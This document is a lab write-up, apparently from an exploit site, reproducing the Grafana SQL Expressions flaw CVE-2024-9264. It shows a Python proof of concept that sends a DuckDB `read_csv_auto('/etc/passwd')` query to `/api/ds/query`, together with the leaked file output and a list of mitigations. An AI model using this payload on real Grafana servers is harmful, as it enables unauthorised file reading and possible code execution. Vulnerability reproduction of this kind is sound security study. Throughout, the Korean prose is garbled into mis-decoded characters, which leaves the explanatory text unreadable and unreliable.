Share
## https://sploitus.com/exploit?id=6B93F331-7356-5FFB-8194-53D20F47D624
# CVE-2024-9264

# CVE-2024-9264 ์ทจ์•ฝ์  ์‹ค์Šต ๋ณด๊ณ ์„œ

## 1. ์ทจ์•ฝ์  ์š”์•ฝ

| ํ•ญ๋ชฉ | ๋‚ด์šฉ |
|------|------|
| CVE | CVE-2024-9264 |
| ๋Œ€์ƒ | Grafana (SQL Expressions) |
| ์˜ํ–ฅ | Local File Inclusion(LFI), Remote Code Execution(RCE) |
| ์‹ฌ๊ฐ๋„ | Critical |
| ๊ณต๊ฒฉ ์กฐ๊ฑด | ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž(Admin ๊ถŒํ•œ) |
| ๊ณต๊ฒฉ ๋ฐฉ์‹ | SQL Expression ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜์—ฌ DuckDB SQL ์‹คํ–‰ |

CVE-2024-9264๋Š” Grafana์˜ SQL Expressions ๊ธฐ๋Šฅ์—์„œ ๋ฐœ์ƒํ•˜๋Š” ์ทจ์•ฝ์ ์ด๋‹ค.

Grafana ๋‚ด๋ถ€์—์„œ ์‚ฌ์šฉํ•˜๋Š” DuckDB SQL์„ ์ ์ ˆํ•˜๊ฒŒ ๊ฒ€์ฆํ•˜์ง€ ์•Š์•„ ๊ณต๊ฒฉ์ž๊ฐ€ SQL Expression์„ ํ†ตํ•ด ์ž„์˜์˜ DuckDB SQL์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋ฅผ ์ด์šฉํ•˜๋ฉด

- ์„œ๋ฒ„์˜ ๋กœ์ปฌ ํŒŒ์ผ ์ฝ๊ธฐ(LFI)
- ์‹œ์Šคํ…œ ๋ช…๋ น ์‹คํ–‰(RCE)
- ๋ฏผ๊ฐํ•œ ์ •๋ณด ์œ ์ถœ

๋“ฑ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

๋ณธ ์‹ค์Šต์—์„œ๋Š” Docker ํ™˜๊ฒฝ์—์„œ Grafana 11.0.0์„ ์‹คํ–‰ํ•œ ํ›„ PoC๋ฅผ ์ด์šฉํ•˜์—ฌ `/etc/passwd` ํŒŒ์ผ์„ ์ฝ๋Š” ๋ฐฉ์‹์œผ๋กœ ์ทจ์•ฝ์ ์„ ์žฌํ˜„ํ•˜์˜€๋‹ค.

---

# 2. ํ™˜๊ฒฝ ๊ตฌ์„ฑ

## ์‹ค์Šต ํ™˜๊ฒฝ

| ๊ตฌ์„ฑ | ๋‚ด์šฉ |
|------|------|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |

### ์ €์žฅ์†Œ ๋‹ค์šด๋กœ๋“œ

```bash
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
```

### Docker ์‹คํ–‰

```bash
docker-compose up
```

Grafana ์‹คํ–‰ ํ™•์ธ

```
http://localhost:3000
```

![Grafana ์‹คํ–‰](./image1.png)


Grafana์˜ ๊ธฐ๋ณธ ๊ณ„์ • ์ •๋ณด๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

```
ID : admin
PW : admin
```


---

# 3. ์ทจ์•ฝ ์กฐ๊ฑด

์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋‹ค์Œ ์กฐ๊ฑด์ด ๋งŒ์กฑ๋˜์–ด์•ผ ํ•œ๋‹ค.

- Grafana์˜ ์ทจ์•ฝ ๋ฒ„์ „ ์‚ฌ์šฉ
- SQL Expressions ๊ธฐ๋Šฅ ์‚ฌ์šฉ ๊ฐ€๋Šฅ
- ๊ณต๊ฒฉ์ž๊ฐ€ Grafana์— ๋กœ๊ทธ์ธ ๊ฐ€๋Šฅ
- DuckDB SQL Expression์ด ํ™œ์„ฑํ™”๋˜์–ด ์žˆ์Œ

๋ณธ ์‹ค์Šต์—์„œ๋Š” ๊ธฐ๋ณธ ๊ด€๋ฆฌ์ž(admin/admin) ๊ณ„์ •์„ ์‚ฌ์šฉํ•˜์˜€๋‹ค.

---

# 4. ์žฌํ˜„ ์ ˆ์ฐจ

## Step 1. Grafana ์‹คํ–‰

```bash
docker-compose up
```

---

## Step 2. Grafana ์ ‘์†

```
http://localhost:3000
```

๋กœ๊ทธ์ธ

```
admin
admin
```

---

## Step 3. PoC ์‹คํ–‰

๋กœ์ปฌ ํŒŒ์ผ์„ ์ฝ๊ธฐ ์œ„ํ•ด ๋‹ค์Œ ๋ช…๋ น์„ ์‹คํ–‰ํ•˜์˜€๋‹ค.

```bash
python3 PoC.py \
-u http://localhost:3000 \
-f "/etc/passwd"
```

PoC๋Š” ๋‹ค์Œ SQL Expression์„ ์ƒ์„ฑํ•œ๋‹ค.

```sql
SELECT * FROM read_csv_auto('/etc/passwd')
```

์ด๋ฅผ Grafana์˜ `/api/ds/query` API๋กœ ์ „์†กํ•œ๋‹ค.

---

## Step 4. ๊ฒฐ๊ณผ ํ™•์ธ

Grafana๊ฐ€ SQL์„ ๊ทธ๋Œ€๋กœ ์‹คํ–‰ํ•˜๋ฉด์„œ `/etc/passwd` ๋‚ด์šฉ์„ ์‘๋‹ต์œผ๋กœ ๋ฐ˜ํ™˜ํ•˜์˜€๋‹ค.

์ด๋ฅผ ํ†ตํ•ด Local File Inclusion์ด ์„ฑ๊ณต์ ์œผ๋กœ ์ˆ˜ํ–‰๋จ์„ ํ™•์ธํ•˜์˜€๋‹ค.

---

# 5. PoC ์ฝ”๋“œ

PoC๋Š” Python์œผ๋กœ ์ž‘์„ฑ๋˜์—ˆ์œผ๋ฉฐ ๋‹ค์Œ ๊ณผ์ •์„ ์ˆ˜ํ–‰ํ•œ๋‹ค.

1. Grafana API(`/api/ds/query`) ํ˜ธ์ถœ
2. SQL Expression ์ƒ์„ฑ
3. JSON ํ˜•ํƒœ๋กœ ์š”์ฒญ ์ „์†ก
4. ์‘๋‹ต(JSON) ํŒŒ์‹ฑ
5. ํŒŒ์ผ ๋‚ด์šฉ ์ถœ๋ ฅ

ํŒŒ์ผ ์ฝ๊ธฐ ์‹œ ์ƒ์„ฑ๋˜๋Š” SQL์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

```python
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
```

API ์š”์ฒญ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ˆ˜ํ–‰๋œ๋‹ค.

```python
response = requests.post(
    api_url,
    auth=(username, password),
    headers=headers,
    data=json.dumps(payload),
    verify=False
)
```

---

# 6. ์‹คํ–‰ ๊ฒฐ๊ณผ

PoC ์‹คํ–‰

```bash
python3 PoC.py \
-u http://localhost:3000 \
-f "/etc/passwd"
```

์‹คํ–‰ ๊ฒฐ๊ณผ

```
[+] Request Success (200 OK)

Exploit Result

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
```

์ •์ƒ์ ์œผ๋กœ `/etc/passwd` ๋‚ด์šฉ์ด ์ถœ๋ ฅ๋˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

์ด๋ฅผ ํ†ตํ•ด Grafana ์„œ๋ฒ„ ๋‚ด๋ถ€ ํŒŒ์ผ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ•˜์˜€๋‹ค.

---

# 7. ๋Œ€์‘ ๋ฐฉ์•ˆ

## 1. Grafana ์ตœ์‹  ๋ฒ„์ „ ์—…๋ฐ์ดํŠธ

๊ฐ€์žฅ ํšจ๊ณผ์ ์ธ ๋Œ€์‘ ๋ฐฉ๋ฒ•์€ ์ทจ์•ฝ์ ์ด ์ˆ˜์ •๋œ ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•˜๋Š” ๊ฒƒ์ด๋‹ค.

---

## 2. SQL Expressions ๊ธฐ๋Šฅ ์ œํ•œ

๋ถˆํ•„์š”ํ•œ SQL Expression ๊ธฐ๋Šฅ์€ ๋น„ํ™œ์„ฑํ™”ํ•˜๊ฑฐ๋‚˜ ์ตœ์†Œ ๊ถŒํ•œ ์›์น™์„ ์ ์šฉํ•˜์—ฌ ์‚ฌ์šฉ ๋ฒ”์œ„๋ฅผ ์ œํ•œํ•œ๋‹ค.

---

## 3. ๊ด€๋ฆฌ์ž ๊ณ„์ • ๋ณดํ˜ธ

- ๊ธฐ๋ณธ ๊ณ„์ •(admin/admin) ๋ณ€๊ฒฝ
- ๊ฐ•๋ ฅํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ ์‚ฌ์šฉ
- MFA ์ ์šฉ
- ๊ด€๋ฆฌ์ž ๊ณ„์ • ์ตœ์†Œํ™”

---

## 4. ๋„คํŠธ์›Œํฌ ์ ‘๊ทผ ์ œํ•œ

Grafana ๊ด€๋ฆฌ ํŽ˜์ด์ง€๋Š” ์™ธ๋ถ€์—์„œ ์ง์ ‘ ์ ‘๊ทผํ•˜์ง€ ๋ชปํ•˜๋„๋ก ๋ฐฉํ™”๋ฒฝ ๋˜๋Š” Reverse Proxy๋ฅผ ์ด์šฉํ•˜์—ฌ ์ ‘๊ทผ์„ ์ œํ•œํ•œ๋‹ค.

---

## 5. ๋กœ๊ทธ ๋ชจ๋‹ˆํ„ฐ๋ง

๋‹ค์Œ๊ณผ ๊ฐ™์€ ์ด์ƒ ํ–‰์œ„๋ฅผ ์ง€์†์ ์œผ๋กœ ๋ชจ๋‹ˆํ„ฐ๋งํ•œ๋‹ค.

- ๋น„์ •์ƒ SQL Expression ์‹คํ–‰
- `/api/ds/query` ์š”์ฒญ ์ฆ๊ฐ€
- DuckDB ๊ด€๋ จ ์ฟผ๋ฆฌ ์‹คํ–‰
- ๋น„์ •์ƒ์ ์ธ ํŒŒ์ผ ์ ‘๊ทผ

---

# 8. ๊ฒฐ๋ก 

์ด๋ฒˆ ์‹ค์Šต์—์„œ๋Š” Docker ํ™˜๊ฒฝ์—์„œ Grafana 11.0.0์„ ๊ตฌ์ถ•ํ•œ ํ›„ CVE-2024-9264 ์ทจ์•ฝ์ ์„ ์žฌํ˜„ํ•˜์˜€๋‹ค.

Python์œผ๋กœ ์ž‘์„ฑ๋œ PoC๋ฅผ ์ด์šฉํ•˜์—ฌ SQL Expression ๊ธฐ๋Šฅ์„ ์•…์šฉํ•˜๊ณ  `/etc/passwd` ํŒŒ์ผ์„ ์ฝ๋Š” ๋ฐ ์„ฑ๊ณตํ•˜์˜€๋‹ค. ์ด๋ฅผ ํ†ตํ•ด SQL Expression์— ๋Œ€ํ•œ ์ž…๋ ฅ ๊ฒ€์ฆ์ด ๋ฏธํกํ•  ๊ฒฝ์šฐ ๋ฏผ๊ฐํ•œ ํŒŒ์ผ์ด ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ™˜๊ฒฝ์— ๋”ฐ๋ผ์„œ๋Š” ์›๊ฒฉ ์ฝ”๋“œ ์‹คํ–‰(RCE)์œผ๋กœ๋„ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Œ์„ ํ™•์ธํ•˜์˜€๋‹ค.

์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์€ ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ์˜ ์—…๋ฐ์ดํŠธ, SQL Expression ๊ธฐ๋Šฅ ์ œํ•œ, ๊ด€๋ฆฌ์ž ๊ณ„์ • ๋ณดํ˜ธ, ์ ‘๊ทผ ์ œ์–ด ๋ฐ ๋กœ๊ทธ ๋ชจ๋‹ˆํ„ฐ๋ง ๋“ฑ์˜ ๋ณด์•ˆ ๋Œ€์ฑ…์„ ํ†ตํ•ด ์˜ˆ๋ฐฉํ•  ์ˆ˜ ์žˆ๋‹ค.